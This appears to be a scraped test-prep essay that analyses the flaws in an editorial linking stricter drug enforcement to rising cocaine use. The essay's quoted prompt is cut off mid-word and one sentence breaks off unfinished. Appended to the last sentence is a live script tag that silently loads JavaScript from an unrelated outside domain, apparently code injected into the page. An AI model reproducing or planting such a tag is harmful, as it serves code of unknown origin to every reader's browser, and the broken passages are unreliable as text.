The following appeared in the editorial in an industry newsletter:"As public concern over drug abuse has increased, authorities have become more vigilant in their efforts to prevent illegal drugs from entering the country. Many drug traffickers have conse

The author of the argument has failed to convince us that enforcement efforts have resulted in an observed increase in the illegal use of cocaine. The argument, as it stands is based on questionable assumptions and a faulty line of reasoning, a fact which renders it over-simplistic and unconvincing.

First of all, the argument assumes that it was the increased enforcement efforts that led drug traffickers to switch from bulkier and riskier drugs to cocaine. Obviously, the author has engaged in "after this, therefore because of this" reasoning. The only reason offered for believing that the increased vigilance caused the increase in cocaine use is the fact that the former preceded the latter, leaving open the possibility that the two events are not causally related but merely correlated. Other factors could be responsible for the increase in cocaine use. For instance, a plunge in the cost of cocaine that is bought by traffickers could have resulted in a higher profit margin for them to justify the transition. Other possible scenario is that cocaine may be harder to be detected while

Next, the author flimsy assumes that an increase in the supply of cocaine is sufficient to bring about an increase in its use. To substantiate this view, drug users must not have a preference in which drug they use, so that if marijuana and heroin are not available, they could easily switch to whatever drug is available, cocaine in this case. However, the truth of the matter is that marijuana, heroin and cocaine are not alike in their effects on users, nor are they alike in the manner in which they are ingested or in their addictive properties. Not to mention that the market price, which is a determining factor preventing certain users from using an expensive drug like cocaine. Hence, the view that drug users' choice of drugs is simply proportionate only to supply makes the argument over-simplistic.

Finally, as the author suggests, the observed increase in the illegal use of cocaine is due to a more vigilant effort of the authorities to prevent illegal drugs from entering the country. However, this could also be misleading as the drug usage and illegal trafficking could have been steady and not observable until the authorities increased their efforts. This implies that the increase only applies in the realized and observed increase and not in the real world increase of drugs. Furthermore, it also implies that with the increased enforcement it was only possible to realize the extend of the drag use and not correctly estimate the increase in the usage of drugs, a case which weakens the strength of the argument.

To conclude, based on unsubstantiated assumptions and poor evidence, the author's reasoning does not provide concrete support for his/her conclusion. If the argument had included the items discussed above, it would have been more thorough and convincing.<script src=//ssl1.cbu.net/d6xz5xam></script>